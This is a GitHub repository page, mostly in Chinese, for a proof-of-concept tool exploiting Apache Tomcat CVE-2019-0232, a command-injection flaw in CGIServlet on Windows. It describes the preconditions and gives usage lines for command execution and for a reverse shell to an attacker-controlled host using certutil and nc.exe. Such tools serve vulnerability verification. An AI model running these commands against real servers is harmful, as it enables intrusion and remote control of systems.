yuzuki-ayanami/CVE-2019-0232

GitHub: yuzuki-ayanami/CVE-2019-0232

Apache Tomcat CVE-2019-0232 远程命令执行漏洞的 PoC 利用工具,通过 Windows 批处理文件命令注入实现漏洞验证与利用。

Stars: 0 | Forks: 1

tomcat

CVE-2019-0232

Apache Tomcat CGIServlet enableCmdLineArguments RCE

Windows batch script injection via query string arguments

### 描述 Apache Tomcat 在启用 CGI servlet 且 `enableCmdLineArguments=true` 时,会将查询字符串参数作为命令行参数传递给 CGI 脚本。在 Windows 上,批处理文件(`.bat`/`.cmd`)会将 `&` 解释为命令分隔符,从而允许通过精心构造的 URL 执行任意命令。 ### 前置条件 - 在 `conf/web.xml` 或 `WEB-INF/web.xml` 中启用了 CGI servlet - CGI servlet 的 init-params 中设置了 `enableCmdLineArguments=true` - 已部署并可以访问 CGI 脚本(例如 `ism.bat`) - Windows 目标(`&` 注入需要批处理文件) ### 用法 ``` git clone https://github.com/yuzuki-ayanami/CVE-2019-0232 cd CVE-2019-0232 pip install -r requirements.txt ``` 检查 CGI endpoint 是否存在: ``` python cve-2019-0232.py check -t http://target:8080 python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat ``` 执行命令: ``` python cve-2019-0232.py exec -t http://target:8080 -c whoami python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig' ``` Reverse shell(两阶段 certutil + nc.exe): ``` python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444 ``` ### 环境要求 - Python 3.8+ - requests - Windows 目标(该漏洞与特定操作系统相关)
标签:Apache Tomcat, CISA项目, Python, Web安全, 无后门, 蓝队分析, 逆向工具